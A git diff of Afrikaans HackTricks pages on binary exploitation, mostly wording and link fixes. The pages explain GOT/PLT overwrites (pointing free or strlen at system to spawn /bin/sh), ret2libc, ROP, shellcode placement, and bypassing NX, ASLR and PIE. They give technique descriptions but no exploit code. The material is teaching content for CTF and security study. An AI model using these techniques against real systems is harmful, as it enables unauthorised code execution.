diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
index 38a2a95b7..cc10ee08b 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -6,21 +6,21 @@
### **GOT: Globale Offset Tabel**
-Die **Globale Offset Tabel (GOT)** is 'n meganisme wat in dinamies gekoppelde binêre gebruik word om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (as gevolg van dinamiese koppeling), bied die GOT 'n manier om die **adresse van hierdie eksterne simbole dinamies op te dateer** sodra hulle opgelos is.
+Die **Globale Offset Tabel (GOT)** is 'n meganisme wat in dinamies gekoppelde binêre gebruik word om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (weens dinamiese koppeling), bied die GOT 'n manier om die **adresse van hierdie eksterne simbole dinamies op te dateer** sodra hulle opgelos is.
-Elke inskrywing in die GOT stem ooreen met 'n simbool in die eksterne biblioteke wat die binêre mag aanroep. Wanneer 'n **funksie vir die eerste keer aangeroep word, word sy werklike adres deur die dinamiese koppelaar opgelos en in die GOT gestoor**. Volgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, wat die oorhoofse koste van die adres weer oplos, vermy.
+Elke inskrywing in die GOT kom ooreen met 'n simbool in die eksterne biblioteke wat die binêre mag aanroep. Wanneer 'n **funksie vir die eerste keer aangeroep word, word sy werklike adres deur die dinamiese skakelaar opgelos en in die GOT gestoor**. Volgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, en vermy dus die oorhoofse koste van die adres weer op te los.
### **PLT: Prosedure Koppeling Tabel**
-Die **Prosedure Koppeling Tabel (PLT)** werk nou saam met die GOT en dien as 'n trampolien om oproepe na eksterne funksies te hanteer. Wanneer 'n binêre **'n eksterne funksie vir die eerste keer aanroep, word beheer oorgedra na 'n inskrywing in die PLT wat met daardie funksie geassosieer is**. Hierdie PLT-inskrywing is verantwoordelik vir die aanroep van die dinamiese koppelaar om die funksie se adres op te los as dit nog nie opgelos is nie. Nadat die adres opgelos is, word dit in die **GOT** gestoor.
+Die **Prosedure Koppeling Tabel (PLT)** werk nou saam met die GOT en dien as 'n trampolien om oproepe na eksterne funksies te hanteer. Wanneer 'n binêre **'n eksterne funksie vir die eerste keer aanroep, word beheer oorgedra na 'n inskrywing in die PLT wat met daardie funksie geassosieer is**. Hierdie PLT-inskrywing is verantwoordelik vir die aanroep van die dinamiese skakelaar om die funksie se adres op te los as dit nog nie opgelos is nie. Nadat die adres opgelos is, word dit in die **GOT** gestoor.
-**Daarom,** GOT-inskrywings word direk gebruik sodra die adres van 'n eksterne funksie of veranderlike opgelos is. **PLT-inskrywings word gebruik om die aanvanklike resolusie** van hierdie adresse via die dinamiese koppelaar te fasiliteer.
+**Daarom** word GOT-inskrywings direk gebruik sodra die adres van 'n eksterne funksie of veranderlike opgelos is. **PLT-inskrywings word gebruik om die aanvanklike resolusie** van hierdie adresse via die dinamiese skakelaar te fasiliteer.
## Kry Uitvoering
### Kontroleer die GOT
-Kry die adres na die GOT tabel met: **`objdump -s -j .got ./exec`**
+Kry die adres na die GOT-tabel met: **`objdump -s -j .got ./exec`**
.png>)
@@ -28,23 +28,23 @@ Let op hoe jy na **laai** van die **uitvoerbare** in GEF die **funksies** wat in
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
-Met GEF kan jy 'n **debugging** sessie **begin** en **`got`** uitvoer om die got tabel te sien:
+Met GEF kan jy 'n **debugging** sessie **begin** en **`got`** uitvoer om die got-tabel te sien:
.png>)
### GOT2Exec
-In 'n binêre het die GOT die **adresse na die funksies of** na die **PLT** afdeling wat die funksie adres sal laai. Die doel van hierdie arbitrêre skrywe is om 'n **GOT-inskrywing** van 'n funksie wat later gaan uitgevoer word **te oorskry** met die **adres** van die PLT van die **`system`** **funksie** byvoorbeeld.
+In 'n binêre het die GOT die **adresse na die funksies of** na die **PLT** afdeling wat die funksie-adres sal laai. Die doel van hierdie arbitrêre skrywe is om 'n **GOT-inskrywing** van 'n funksie wat later gaan uitgevoer word te **oorheers** **met** die **adres** van die PLT van die **`system`** **funksie** byvoorbeeld.
-Ideaal gesproke, sal jy die **GOT** van 'n **funksie** wat **met parameters wat deur jou beheer word** gaan aangeroep word **oorskry** (sodat jy die parameters wat na die stelselfunksie gestuur word, kan beheer).
+Ideaal gesproke, sal jy die **GOT** van 'n **funksie** wat **met parameters wat deur jou beheer word** gaan **aangeroep word** oorheers (sodat jy die parameters wat na die system-funksie gestuur word kan beheer).
-As **`system`** **nie gebruik word** deur die binêre nie, sal die stelselfunksie **nie** 'n inskrywing in die PLT hê nie. In hierdie scenario, sal jy **eers die adres** van die `system` funksie moet lek en dan die GOT oorskry om na hierdie adres te wys.
+As **`system`** **nie gebruik word** deur die binêre nie, sal die system-funksie **nie** 'n inskrywing in die PLT hê nie. In hierdie scenario sal jy **eers die adres** van die `system` funksie moet lek en dan die GOT oorskryf om na hierdie adres te wys.
-Jy kan die PLT adresse sien met **`objdump -j .plt -d ./vuln_binary`**
+Jy kan die PLT-adresse sien met **`objdump -j .plt -d ./vuln_binary`**
## libc GOT inskrywings
-Die **GOT van libc** word gewoonlik saamgecompileer met **gedeeltelike RELRO**, wat dit 'n goeie teiken maak vir hierdie, mits dit moontlik is om sy adres uit te vind ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+Die **GOT van libc** word gewoonlik saamgecompileer met **gedeeltelike RELRO**, wat dit 'n goeie teiken maak vir hierdie, mits dit moontlik is om sy adres te bepaal ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Gewone funksies van die libc gaan **ander interne funksies** aanroep waarvan die GOT oorgeskryf kan word om kode-uitvoering te verkry.
@@ -52,13 +52,13 @@ Vind [**meer inligting oor hierdie tegniek hier**](https://github.com/nobodyisno
### **Free2system**
-In heap-uitbuiting CTFs is dit algemeen om die inhoud van stukke te kan beheer en op 'n sekere punt selfs die GOT tabel te oorskryf. 'n Eenvoudige truuk om RCE te verkry as een gadgets nie beskikbaar is nie, is om die `free` GOT adres te oorskryf om na `system` te wys en om binne 'n stuk `"/bin/sh"` te skryf. Op hierdie manier, wanneer hierdie stuk vrygestel word, sal dit `system("/bin/sh")` uitvoer.
+In heap-exploitering CTFs is dit algemeen om die inhoud van stukke te kan beheer en op 'n stadium selfs die GOT-tabel te oorskryf. 'n Eenvoudige truuk om RCE te verkry as een gadgets nie beskikbaar is nie, is om die `free` GOT-adres te oorskryf om na `system` te wys en om binne 'n stuk `"/bin/sh"` te skryf. Op hierdie manier, wanneer hierdie stuk vrygestel word, sal dit `system("/bin/sh")` uitvoer.
### **Strlen2system**
-Nog 'n algemene tegniek is om die **`strlen`** GOT adres te oorskryf om na **`system`** te wys, sodat as hierdie funksie met gebruikersinvoer aangeroep word, dit moontlik is om die string `"/bin/sh"` deur te gee en 'n shell te verkry.
+Nog 'n algemene tegniek is om die **`strlen`** GOT-adres te oorskryf om na **`system`** te wys, sodat as hierdie funksie met gebruikersinvoer aangeroep word, dit moontlik is om die string `"/bin/sh"` deur te gee en 'n shell te verkry.
-Boonop, as `puts` met gebruikersinvoer gebruik word, is dit moontlik om die `strlen` GOT adres te oorskryf om na `system` te wys en die string `"/bin/sh"` deur te gee om 'n shell te verkry omdat **`puts` `strlen` met die gebruikersinvoer sal aanroep**.
+Boonop, as `puts` met gebruikersinvoer gebruik word, is dit moontlik om die `strlen` GOT-adres te oorskryf om na `system` te wys en die string `"/bin/sh"` deur te gee om 'n shell te verkry omdat **`puts` `strlen` met die gebruikersinvoer sal aanroep**.
## **Een Gadget**
@@ -68,14 +68,14 @@ Boonop, as `puts` met gebruikersinvoer gebruik word, is dit moontlik om die `str
## **Misbruik van GOT vanaf Heap**
-'n Algemene manier om RCE van 'n heap kwesbaarheid te verkry, is om 'n fastbin te misbruik sodat dit moontlik is om die deel van die GOT tabel in die fast bin by te voeg, sodat wanneer daardie stuk toegeken word, dit moontlik sal wees om die **aanwyser van 'n funksie, gewoonlik `free`**, te oorskryf.\
-Dan, deur `free` na `system` te wys en 'n stuk waar `/bin/sh\x00` geskryf is, vry te stel, sal dit 'n shell uitvoer.
+'n Algemene manier om RCE van 'n heap-kwesbaarheid te verkry, is om 'n fastbin te misbruik sodat dit moontlik is om die deel van die GOT-tabel in die fast bin by te voeg, sodat wanneer daardie stuk toegeken word, dit moontlik sal wees om die **aanwyser van 'n funksie, gewoonlik `free`**, te **oorheers**.\
+Dan, deur `free` na `system` te wys en 'n stuk waar `/bin/sh\x00` geskryf is vry te stel, sal dit 'n shell uitvoer.
-Dit is moontlik om 'n [**voorbeeld hier**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)** te vind.**
+Dit is moontlik om 'n [**voorbeeld hier te vind**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Beskermings**
-Die **Volle RELRO** beskerming is bedoel om teen hierdie soort tegniek te beskerm deur al die adresse van die funksies op te los wanneer die binêre begin en die **GOT tabel slegs leesbaar** te maak daarna:
+Die **Volle RELRO** beskerming is bedoel om teen hierdie soort tegniek te beskerm deur al die adresse van die funksies op te los wanneer die binêre begin en die **GOT-tabel slegs leesbaar** te maak daarna:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 67e1772f9..16cbfb949 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -24,11 +24,11 @@ Met soveel tegnieke is dit goed om 'n skema te hê wanneer elke tegniek nuttig s
Daar is verskillende maniere waarop jy die stroom van 'n program kan beheer:
-- [**Stap Oorloë**](../stack-overflow/) wat die terugwysers vanaf die stap of die EBP -> ESP -> EIP oorskry.
+- [**Stap Oorloë**](../stack-overflow/index.html) wat die terugwysers vanaf die stap of die EBP -> ESP -> EIP oorskryf.
- Mag nodig wees om 'n [**Heelgetal Oorloë**](../integer-overflow.md) te misbruik om die oorloop te veroorsaak.
- Of via **Arbitraire Skrywe + Skryf Wat Waar na Uitvoering**.
-- [**Formaat stringe**](../format-strings/)**:** Misbruik `printf` om arbitraire inhoud in arbitraire adresse te skryf.
-- [**Array Indeksering**](../array-indexing.md): Misbruik 'n swak ontwerpte indeks om in staat te wees om sommige arrays te beheer en 'n arbitraire skrywe te verkry.
+- [**Formaat stringe**](../format-strings/index.html)**:** Misbruik `printf` om arbitraire inhoud in arbitraire adresse te skryf.
+- [**Array Indeksasie**](../array-indexing.md): Misbruik 'n swak ontwerpte indeksasie om sekere arrays te kan beheer en 'n arbitraire skrywe te verkry.
- Mag nodig wees om 'n [**Heelgetal Oorloë**](../integer-overflow.md) te misbruik om die oorloop te veroorsaak.
- **bof na WWW via ROP**: Misbruik 'n bufferoorloop om 'n ROP te konstrueer en in staat te wees om 'n WWW te verkry.
@@ -40,9 +40,9 @@ Jy kan die **Skryf Wat Waar na Uitvoering** tegnieke vind in:
## Ewige Lusse
-Iets om in ag te neem is dat gewoonlik **net een eksploit van 'n kwesbaarheid mag nie genoeg wees** om 'n suksesvolle eksploit uit te voer, veral omdat sommige beskermings omgegaan moet word. Daarom is dit interessant om 'n paar opsies te bespreek om **'n enkele kwesbaarheid verskeie kere exploiteerbaar te maak** in dieselfde uitvoering van die binêre:
+Iets om in ag te neem is dat gewoonlik **net een eksploit van 'n kwesbaarheid mag nie genoeg wees** om 'n suksesvolle eksploit uit te voer, veral omdat sommige beskermings omseil moet word. Daarom is dit interessant om 'n paar opsies te bespreek om **'n enkele kwesbaarheid verskeie kere exploiteerbaar te maak** in dieselfde uitvoering van die binêre:
-- Skryf in 'n **ROP** ketting die adres van die **`main` funksie** of na die adres waar die **kwesbaarheid** plaasvind.
+- Skryf in 'n **ROP** ketting die adres van die **`main` funksie** of na die adres waar die **kwesbaarheid** voorkom.
- Deur 'n behoorlike ROP-ketting te beheer, mag jy in staat wees om al die aksies in daardie ketting uit te voer.
- Skryf in die **`exit` adres in GOT** (of enige ander funksie wat deur die binêre gebruik word voordat dit eindig) die adres om **terug na die kwesbaarheid** te gaan.
- Soos verduidelik in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stoor 2 funksies hier, een om die kwesbaarheid weer aan te roep en 'n ander om **`__libc_csu_fini`** aan te roep wat die funksie van `.fini_array` weer sal aanroep.
@@ -52,16 +52,16 @@ Iets om in ag te neem is dat gewoonlik **net een eksploit van 'n kwesbaarheid ma
### Doel: Roep 'n Bestaande funksie aan
- [**ret2win**](#ret2win): Daar is 'n funksie in die kode wat jy moet aanroep (miskien met 'n paar spesifieke parameters) om die vlag te verkry.
-- In 'n **regte bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) hoef jy net die adres in die terugadres wat in die stap gestoor is, te skryf.
-- In 'n bof met [**PIE**](../common-binary-protections-and-bypasses/pie/), sal jy dit moet omseil.
-- In 'n bof met [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), sal jy dit moet omseil.
+- In 'n **gereelde bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **en** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) hoef jy net die adres in die terugadres wat in die stap gestoor is, te skryf.
+- In 'n bof met [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), sal jy dit moet omseil.
+- In 'n bof met [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), sal jy dit moet omseil.
- As jy verskeie parameters moet stel om die **ret2win** funksie korrek aan te roep, kan jy gebruik maak van:
- 'n [**ROP**](#rop-and-ret2...-techniques) **ketting as daar genoeg gadgets is** om al die parameters voor te berei.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in die geval jy hierdie syscall kan aanroep) om baie registers te beheer.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (in die geval jy hierdie syscall kan aanroep) om baie registers te beheer.
- Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie registers te beheer.
-- Via 'n [**Skryf Wat Waar**](../arbitrary-write-2-exec/) kan jy ander kwesbaarhede (nie bof nie) misbruik om die **`win`** funksie aan te roep.
-- [**Punteer Herlei**](../stack-overflow/pointer-redirecting.md): In die geval die stap punte na 'n funksie wat gaan aangeroep word of na 'n string wat deur 'n interessante funksie (stelsel of printf) gaan gebruik word, is dit moontlik om daardie adres te oorskry.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse beïnvloed.
+- Via 'n [**Skryf Wat Waar**](../arbitrary-write-2-exec/index.html) kan jy ander kwesbaarhede (nie bof nie) misbruik om die **`win`** funksie aan te roep.
+- [**Punteer Herlei**](../stack-overflow/pointer-redirecting.md): In die geval die stap punte na 'n funksie wat gaan aangeroep word of na 'n string wat deur 'n interessante funksie (sisteem of printf) gaan gebruik word, is dit moontlik om daardie adres te oorskryf.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) of [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mag die adresse beïnvloed.
- [**Ongeïnitialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit.
### Doel: RCE
@@ -69,30 +69,30 @@ Iets om in ag te neem is dat gewoonlik **net een eksploit van 'n kwesbaarheid ma
#### Via shellcode, as nx gedeaktiveer is of meng shellcode met ROP:
- [**(Stap) Shellcode**](#stack-shellcode): Dit is nuttig om 'n shellcode in die stap te stoor voordat of nadat die terugwyser oorgeskryf word en dan **na dit te spring** om dit uit te voer:
-- **In enige geval, as daar 'n** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in 'n regte bof sal jy dit moet omseil (lek).
-- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) is dit moontlik om na die adres van die stap te spring aangesien dit nooit sal verander nie.
-- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) nodig hê om daarna te spring.
-- **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/) **moet gebruik om `memprotect` aan te roep** en 'n paar bladsye `rwx` te maak, om dan **die shellcode daar te stoor** (byvoorbeeld deur `read` aan te roep) en dan daarheen te spring.
+- **In enige geval, as daar 'n** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** in 'n gereelde bof sal jy dit moet omseil (lek).
+- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **en** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) is dit moontlik om na die adres van die stap te spring aangesien dit nooit sal verander nie.
+- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) moet gebruik om daarheen te spring.
+- **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/index.html) **moet gebruik om `memprotect` aan te roep** en 'n paar bladsye `rwx` te maak, om dan **die shellcode daar te stoor** (byvoorbeeld deur `read` aan te roep) en dan daarheen te spring.
- Dit sal shellcode met 'n ROP-ketting meng.
#### Via syscalls
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Nuttig om `execve` aan te roep om arbitraire opdragte uit te voer. Jy moet in staat wees om die **gadgets te vind om die spesifieke syscall met die parameters** aan te roep.
-- As [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) geaktiveer is, sal jy dit moet oorwin **om ROP gadgets** van die binêre of biblioteke te gebruik.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) kan nuttig wees om die **ret2execve** voor te berei.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Nuttig om `execve` aan te roep om arbitraire opdragte uit te voer. Jy moet in staat wees om die **gadgets te vind om die spesifieke syscall met die parameters** aan te roep.
+- As [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) of [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) geaktiveer is, sal jy dit moet oorwin **om ROP gadgets** van die binêre of biblioteke te gebruik.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) kan nuttig wees om die **ret2execve** voor te berei.
- Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie registers te beheer.
#### Via libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Nuttig om 'n funksie van 'n biblioteek (gewoonlik van **`libc`**) soos **`system`** met 'n paar voorbereide argumente (bv. `'/bin/sh'`) aan te roep. Jy moet die binêre laat **laai die biblioteek** met die funksie wat jy wil aanroep (libc gewoonlik).
-- As **statisch gecompileer en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/), sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om hulle staties te gebruik.
-- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en wetende die libc weergawe** wat gelaai is, sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om hulle staties te gebruik.
-- Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **maar geen** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, wetende die libc en met die binêre wat die `system`** funksie gebruik, is dit moontlik om **`ret` na die adres van system in die GOT** met die adres van `'/bin/sh'` in die parameter (jy sal dit moet uitfigure).
-- Met [ASLR](../common-binary-protections-and-bypasses/aslr/) maar geen [PIE](../common-binary-protections-and-bypasses/pie/), wetende die libc en **sonder die binêre wat die `system`** :
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nuttig om 'n funksie van 'n biblioteek (gewoonlik van **`libc`**) soos **`system`** met 'n paar voorbereide argumente (bv. `'/bin/sh'`) aan te roep. Jy moet die binêre hê om die **biblioteek te laai** met die funksie wat jy wil aanroep (libc gewoonlik).
+- As **statisch gecompileer en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om dit staties te gebruik.
+- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **en weet wat die libc weergawe** is wat gelaai is, sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om dit staties te gebruik.
+- Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **maar geen** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, weet wat die libc is en met die binêre wat die `system`** funksie gebruik, is dit moontlik om **`ret` na die adres van system in die GOT** met die adres van `'/bin/sh'` in die parameter te gaan (jy sal dit moet uitfigure).
+- Met [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) maar geen [PIE](../common-binary-protections-and-bypasses/pie/index.html), weet wat die libc is en **sonder dat die binêre die `system`** gebruik:
- Gebruik [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) om die adres van `system` op te los en dit aan te roep.
-- **Oorwin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) en bereken die adres van `system` en `'/bin/sh'` in geheue.
-- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en nie wetende die libc**: Jy moet:
-- Oorwin [**PIE**](../common-binary-protections-and-bypasses/pie/).
+- **Oorwin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) en bereken die adres van `system` en `'/bin/sh'` in geheue.
+- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **en** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **en nie weet wat die libc is**: Jy moet:
+- Oorwin [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
- Vind die **`libc` weergawe** wat gebruik word (lek 'n paar funksie adresse).
- Kontroleer die **vorige scenario's met ASLR** om voort te gaan.
@@ -100,12 +100,12 @@ Iets om in ag te neem is dat gewoonlik **net een eksploit van 'n kwesbaarheid ma
- [**Stap Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Beheer die ESP om RET te beheer deur die gestoor EBP in die stap.
- Nuttig vir **off-by-one** stap oorloë.
-- Nuttig as 'n alternatiewe manier om EIP te beheer terwyl jy EIP misbruik om die payload in geheue te konstrueer en dan daarna te spring via EBP.
+- Nuttig as 'n alternatiewe manier om EIP te beheer terwyl jy EIP misbruik om die payload in geheue te konstrueer en dan daarheen te spring via EBP.
#### Verskeie
-- [**Punteer Herlei**](../stack-overflow/pointer-redirecting.md): In die geval die stap punte na 'n funksie wat gaan aangeroep word of na 'n string wat deur 'n interessante funksie (stelsel of printf) gaan gebruik word, is dit moontlik om daardie adres te oorskry.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse beïnvloed.
+- [**Punteer Herlei**](../stack-overflow/pointer-redirecting.md): In die geval die stap punte na 'n funksie wat gaan aangeroep word of na 'n string wat gaan gebruik word deur 'n interessante funksie (sisteem of printf), is dit moontlik om daardie adres te oorskryf.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) of [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mag die adresse beïnvloed.
- [**Ongeïnitialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
index bf9100aa8..2738039d1 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
@@ -4,13 +4,13 @@
## Basiese Inligting
-Die **No-Execute (NX)** bit, ook bekend as **Execute Disable (XD)** in Intel terminologie, is 'n hardeware-gebaseerde sekuriteitskenmerk wat ontwerp is om die gevolge van **buffer overflow** aanvalle te **verlig**. Wanneer dit geïmplementeer en geaktiveer is, onderskei dit tussen geheuegebiede wat bedoel is vir **uitvoerbare kode** en dié wat bedoel is vir **data**, soos die **stack** en **heap**. Die kernidee is om te voorkom dat 'n aanvaller kwaadwillige kode uitvoer deur middel van buffer overflow kwesbaarhede deur die kwaadwillige kode in die stack te plaas byvoorbeeld en die uitvoer vloei na dit te lei.
+Die **No-Execute (NX)** bit, ook bekend as **Execute Disable (XD)** in Intel terminologie, is 'n hardeware-gebaseerde sekuriteitskenmerk wat ontwerp is om die gevolge van **buffer overflow** aanvalle te **verlig**. Wanneer dit geïmplementeer en geaktiveer word, onderskei dit tussen geheuegebiede wat bedoel is vir **uitvoerbare kode** en dié wat bedoel is vir **data**, soos die **stack** en **heap**. Die kernidee is om 'n aanvaller te verhoed om kwaadwillige kode uit te voer deur middel van buffer overflow kwesbaarhede deur die kwaadwillige kode in die stack te plaas byvoorbeeld en die uitvoeringsvloei daarnaartoe te lei.
## Bypasses
-- Dit is moontlik om tegnieke soos [**ROP**](../rop-return-oriented-programing/) **te gebruik om** hierdie beskerming te omseil deur stukke uitvoerbare kode wat reeds in die binêre teenwoordig is, uit te voer.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- Dit is moontlik om tegnieke soos [**ROP**](../rop-return-oriented-programing/index.html) **te gebruik** om hierdie beskerming te omseil deur stukke uitvoerbare kode wat reeds in die binêre teenwoordig is, uit te voer.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
index bd232b227..43c14cf6c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
@@ -6,10 +6,10 @@
'n Binêre wat as PIE gecompileer is, of **Position Independent Executable**, beteken dat die **program by verskillende geheue-lokasies kan laai** elke keer wanneer dit uitgevoer word, wat hardgecodeerde adresse voorkom.
-Die truuk om hierdie binêre te benut, lê in die benutting van die **relatiewe adresse**—die afstande tussen dele van die program bly dieselfde selfs al verander die absolute lokasies. Om **PIE te omseil, hoef jy net een adres te lek**, tipies vanaf die **stapel** deur gebruik te maak van kwesbaarhede soos formaatstring-aanvalle. Sodra jy 'n adres het, kan jy ander bereken deur hul **vaste afstande**.
+Die truuk om hierdie binêre te benut, lê in die benutting van die **relatiewe adresse**—die afstande tussen dele van die program bly dieselfde, selfs al verander die absolute lokasies. Om **PIE te omseil, hoef jy net een adres te lek**, tipies vanaf die **stack** deur gebruik te maak van kwesbaarhede soos formaatstring-aanvalle. Sodra jy 'n adres het, kan jy ander bereken deur hul **vaste afstande**.
'n Nuttige wenk in die benutting van PIE binêre is dat hul **basisadres tipies eindig op 000** as gevolg van geheuebladsye wat die eenhede van randomisering is, met 'n grootte van 0x1000 bytes. Hierdie uitlijning kan 'n kritieke **kontrole wees as 'n ontploffing nie werk** soos verwag nie, wat aandui of die korrekte basisadres geïdentifiseer is.\
-Of jy kan dit gebruik vir jou ontploffing, as jy lek dat 'n adres geleë is by **`0x649e1024`** weet jy dat die **basisadres `0x649e1000` is** en van daar af kan jy net **afstande** van funksies en lokasies bereken.
+Of jy kan dit gebruik vir jou ontploffing, as jy lek dat 'n adres geleë is by **`0x649e1024`** weet jy dat die **basisadres `0x649e1000`** is en van daar af kan jy net **afstande** van funksies en lokasies bereken.
## Omseilings
@@ -17,13 +17,13 @@ Om PIE te omseil, is dit nodig om **'n adres van die gelaaide** binêre te lek,
- **Gedeaktiveerde ASLR**: As ASLR gedeaktiveer is, word 'n binêre wat met PIE gecompileer is altyd **in dieselfde adres gelaai**, daarom **sal PIE nutteloos wees** aangesien die adresse van die objekte altyd op dieselfde plek sal wees.
- Wees **gegee** die lek (algemeen in maklike CTF-uitdagings, [**kyk hierdie voorbeeld**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
-- **Brute-force EBP en EIP waardes** in die stapel totdat jy die korrekte lek:
+- **Brute-force EBP en EIP waardes** in die stack totdat jy die korrekte lek:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
